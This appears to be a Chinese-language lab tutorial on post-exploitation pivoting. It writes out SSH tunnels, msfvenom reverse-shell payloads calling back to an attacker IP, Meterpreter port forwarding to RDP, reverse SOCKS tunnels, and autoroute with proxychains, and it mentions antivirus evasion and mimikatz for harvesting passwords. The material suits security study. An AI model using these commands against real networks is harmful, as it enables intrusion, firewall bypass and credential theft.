滲透測試-地基篇-內網穿透篇
該篇章目的是重新牢固地基,加強每日訓練操作的筆記,在記錄地基筆記中會有很多跳躍性思維的操作和方式方法,望大家能共同加油學到東西。
對于所有筆記中復現的這些終端或者服務器,都是自行搭建的環境進行滲透的。我將使用Kali Linux作為此次學習的攻擊者機器。這里使用的技術僅用于學習教育目的,如果列出的技術用于其他任何目標,我概不負責。
0x01 前言
本次介紹的是在拿站獲得webshell提權后,如何進一步建立隧道的文章,這是地基篇章,都是基礎必會技術,不會很深入,廢話不多說,化繁為簡,滲透!
注意:
最重要的是思路,思路可以套用在各種各樣的方法內,工具千萬種,用法都是次要的!!
0x02 環境介紹
攻擊設備:kali-2020.4
外網IP地址:192.168.175.145
Web服務器:Ubuntu.20.04.1
外網IP地址:192.168.175.153
內網IP地址:10.10.1.7
數據庫和內網服務器:windows2003
內網IP地址:10.10.1.6
外網網關:192.168.175.2

目前數據庫和內網服務器在內網環境,kali只能訪問web服務器并拿到了webshell提權成功,由于web服務器功能權限局限性大,本篇文章講解利用SSH隧道建立kali和windwos2003之間的連接,并最大限制的進一步滲透內網環境。
0x03 SSH隧道
目前已經獲得了web服務器烏班圖的webshell權限。這里如何拿webshell,前期文章都有講!
1、ssh正向連接
命令如下,意思是:路由回環地址0+6666端口建立內網服務器80端口隧道,建立的中間條件是ssh訪問協議。
ssh -CNfL 0.0.0.0:6666:10.10.1.6:80 dayu@127.0.0.1 #回環地址+端口+正向隧道地址+地址端口 +本地ssh登錄地址

可看到通過正向連接訪問到了內網服務器dayu-test.php頁面,回顯數據表明連接成功。

2、ssh反向連接
命令如下,內網服務器和kali是無法通訊的,利用ssh反向代理將本地22端口數據量映射到8888端口上。
ssh -qTfnN -R 8888:127.0.0.1:22 kali@192.168.175.145

反向代理這里不建議用,但是也和大家講解下,主要作用在于通過公網的主機打通穿透兩個不相通的局域網。這里能跳過防火墻限制,但是會話只要一中斷就再也連接不上了。
3、ssh開啟sockes代理
這種方法是SSH隧道中最暴力的方法,直接通過配置瀏覽器、proxychan、Proxifier等等,配置它們的sockes5后就可以直接使用代理流量上網了,對于VPS較實用。
ssh -D 端口 user@theserver
0x04 端口轉發
這里講解的是利用metaspolit進行端口轉發和映射。利用msfvenom生成shell,然后base64等方法混淆加密免殺上傳,反彈回kali-MSF。免殺跳過,后期會講解~這是站在前言基礎上,拿到了烏班圖的shell。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.175.145 LPORT=1037 -f elf > dayu.elf msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.175.145 lport=1037 -f elf -o shell

1、端口映射
portfwd list #查看列表 portfwd flush #清空列表 portfwd add -L 192.168.175.145 -l 8089 -p 80 -r 10.10.1.6

可看到成功將內網服務器的10.10.1.6的80端口映射到了本地kali的8089端口上。通過本地訪問8089端口可以直接訪問到內網服務器80頁面,這是一種思路,在內網服務器存在不同服務可以提權的情況下,都可以轉發~
這里用得比較多的還是利用msf的EXP拿shell后,繼續后滲透~

2、端口轉發
端口轉發到本地是在特殊情況下,或者在shell上無法更好的執行,或者需要遠程到對方桌面上去進行進一步的操作等等,這里介紹了MSF端口轉發到3389上,進行遠程登錄。
portfwd add -l 5555 -p 3389 -r 192.168.175.153 rdesktop 127.1.1.0:8090

成功將端口3389轉發到本地8090端口上。可看到在kali上運行rdesktop后成功通過8090端口登錄到對方的3389遠程桌面上,這里密碼可以上傳mimikatz獲得密碼…

0x05 socket隧道
Socket隧道比SSH隧道應用更廣范,以及使用起來簡單,該方法可以直接繞過防火墻設備進行進一步內網穿透。
1、下載安裝ssocks
首先需要下載:(kali2020.4和web服務器都需要安裝)
- http://sourceforge.net/projects/ssocks/

下載完成后進行解壓并執行,然后會出現SRC目錄,所有的隧道文件都在該目錄下,這里操作主要用到rcsocks、rssocks。
tar zxvf ssocks-0.0.14.tar.gz ./configure && make #進行編輯并生成文件

2、執行反向代理
本地通過rcsocks將端口3333和2222端口建立連接通道,等待遠程Socks5服務器訪問本地2222端口即可。
./rcsocks -l 3333 -p 2222 -vv

通過rssocks訪問攻擊者kali建立的2222端口,這樣socket隧道就建立成功了,該隧道可以通過代理形式互相訪問。
./rssocks -s 192.168.175.145:2222 -vv

下面還需要一些鏈接代理的工具,firefox瀏覽器、proxychains、proxifire都可以,這里演示proxychains。
apt install proxychains #安裝
接下來配置下vi /etc/proxychains4.conf,加個sockes即可:socks5 127.0.0.1 2222


這里功能很多,這是一個思路,這里遇到了個問題:gcc編譯的socks文件在gdb研究調用的時候,出現了錯誤,段錯誤 (核心已轉儲)將棧堆大小修改還是未解決,目前是烏班圖的系統,先撂這里吧這問題,以后遇到了處理。
該方法可以穿越防火墻、各種限制進行流量輸出,非常實用。
0x06 跨路由穿透
進一步內網穿透。該方法還是依照最前面的拓撲圖進行演示,該思路講解的是在網關是192.168.175.2不通內網10.10.1.0段的情況下,攻擊者kali如何跨路由進行連接到內網服務器,并對內網服務器進行滲透行為操作。
1、查看網卡信息
可看到獲得shell的是雙網卡的web服務器。
ifconfig

2、查看路由狀態
執行以下命令查看當前用戶及路由等信息如下:
getuid #查看到當前用戶是dayu@dayu run get_local_subnets #查看當前路由信息
- Local subnet: 10.10.1.0/255.255.255.0
- Local subnet: 192.168.175.0/255.255.255.0

可看到未添加過任何路由信息,這邊進行添加!
run autoroute –p #查看是否添加過路由信息

3、添加本地路由信息
前面通過查看到路由信息10.10.1.0/24段,這里添加即可,可看到成功在本地添加了路由10.10.1.0/24!!
run autoroute -s 10.10.1.0/24 #添加路由

4、msf-socks4代理
background #退出session會話界面,session依舊維持狀態,session +數號即可返回 use auxiliary/server/socks4a #選擇sockes4代理模塊 SRVHOST 0.0.0.0 #本地默認 SRVPORT 1080 #端口可以自行更改,代理端口

run成功執行,該思路是復用了session 1中的shell,在本地添加了新路由后,對本地的所有路由進行了sockes4流量代理。

5、修改本地代理走向
vi /etc/proxychains4.conf #添加socks4代理流量

6、成功穿透
可看到通過proxychains代理進行sockes4流量登錄了firefox瀏覽器后,直接在瀏覽器中走sockes4流量進行路由轉發后登錄到了內網服務器上,成功實現了內網穿透。
proxychains firefox #走代理流量打開軟件


這里還可以proxychains+nmap、hydra、sqlmap等等等支持挺多的軟件,當然這里更推薦走Proxifier全局代理飛起,這里不往下教了,學習的是思路!!
0x07 總結另外思路
這里我沒有寫最喜歡的nc思路,因為估計大家都會用,也非常簡單!下面我在提一些我還會的一些端口轉發、代理等等內網穿透的工具吧…
Proxifier、reGeorg、xsocket、nc、Lcx、Frp、IPsec、ngrok,能腦子記起來的就這些,其他都不記得了~~工具太多了,各有各的好用之處,當人會一兩款就夠用了,主要的是思路,滲透過程中會遇到各種各樣的環境,好好加油吧~~
以上的方法都是最簡單的,也是基礎,這里的思路學會了穿透防火墻,穿透各種設備都不成問題,但是別想著不被發現…這些都會在流量中體現到行為特征,只要想抓是跑不掉的…
今天基礎牢固就到這里,雖然基礎,但是必須牢記于心。